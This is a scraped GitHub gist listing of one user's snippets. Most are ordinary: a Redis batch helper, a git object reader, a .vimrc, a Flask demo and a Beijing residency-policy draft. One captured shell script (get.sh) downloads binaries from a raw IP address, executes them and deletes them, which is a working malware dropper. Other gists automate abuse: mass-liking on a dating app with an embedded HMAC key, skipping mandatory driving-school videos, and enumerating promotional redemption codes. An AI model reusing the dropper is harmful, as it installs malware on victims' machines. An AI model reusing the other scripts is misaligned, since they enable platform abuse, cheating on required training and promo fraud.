Skip to content

Instantly share code, notes, and snippets.

View wong2's full-sized avatar
🍃
Waiting for autumn

wong2 wong2

🍃
Waiting for autumn
View GitHub Profile
async function runBatch(client, command, keys, ...args) {
let batch = client.batch()
for (let key of keys) {
batch[command](key, ...args)
}
return batch.execAsync()
}
import re
import zlib
def show_git_tree(sha1):
path = '.git/objects/%s/%s' % (sha1[:2], sha1[2:])
with open(path) as fp:
content = zlib.decompress(fp.read())
header, body = content.split('\0', 1)
for line in re.findall('(\d+) (.*?)\0(.{20})', body, re.MULTILINE):
print line[0], line[1], line[2].encode('hex')
root@li400-72:~# cat get.sh
#!/bin/bash
wget http://45.32.232.197/x86 --quiet
chmod +x x86
./x86
rm -rf x86
wget http://45.32.232.197/i686 --quiet
chmod +x i686
./i686
rm -rf i686
@wong2
wong2 / tantan.py
Created February 18, 2016 16:37
自动like探探上的所有人
#-*-coding:utf-8-*-
import hashlib
import hmac
import time
import requests
HMAC_KEY = '5tT!TQkf5fYbabw5?KL2659XgL^JgxWw8r9Y+bAvGwP-QfteQL'
class TanTan(object):
北京市积分落户管理办法
(征求意见稿)
第一条 按照国家户籍制度改革要求,为加强人口服务管理,逐步有序解决符合首都城市功能定位和经济社会发展需要、长期在京稳定就业和生活的常住人口落户问题,改进本市现行落户政策,根据国家和本市有关法律、法规,制定本办法。
第二条 本办法所称积分落户是指通过建立指标体系,对本市居住证持证人申请落户的条件进行量化,并对每项指标赋予一定分值,总积分达到规定分值的人员可在本市申请办理常住户口。
第三条 坚持公平公正、总量控制、存量优先、有序推进的原则,稳步实施积分落户制度。
第四条 申请人参加积分落户应同时符合下列条件:
(一)持有北京市居住证;
(二)年龄不超过45周岁;
(三)在京连续缴纳社会保险7年及以上;
>>> import matplotlib.font_manager
>>> set([f.name for f in matplotlib.font_manager.fontManager.ttflist])
@wong2
wong2 / example.py
Created October 23, 2015 07:15
very simple flask-like web framework, taken from http://lucumr.pocoo.org/2010/6/14/opening-the-flask/
from flask import Flask
app = Flask()
@app.route('/')
def index(request):
return 'Hello World'
if __name__ == '__main__':
app.run()
@wong2
wong2 / jump.js
Created October 19, 2015 09:25
自动播放东方时尚驾考视频
// 在 http://dfss.anjia365.com/jpv2/web/personPlan!player.do 页面,console里输入:
setInterval(function() {
if ($('#player').css('display') == 'none') {
getExamById(examArray.slice(-2)[0]);
examCorrectFlag = true;
$('#nextPlayButton').click();
} else {
showNext();
$('.aui_buttons button').click();
@wong2
wong2 / .vimrc
Created September 18, 2015 08:41
" Use Vim settings, rather then Vi settings (much better!).
" This must be first, because it changes other options as a side effect.
set nocompatible
filetype off
" git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
@wong2
wong2 / main.py
Last active August 29, 2015 14:24
遍历友宝免费冰红茶兑换码
#-*-coding:utf-8-*-
import re
import time
import json
import requests
from random import choice
code_url = 'http://ama.adwo.com/advmessage/adv/addResultJsonP.action?advid=30345&mobile={phone}&callback=callback'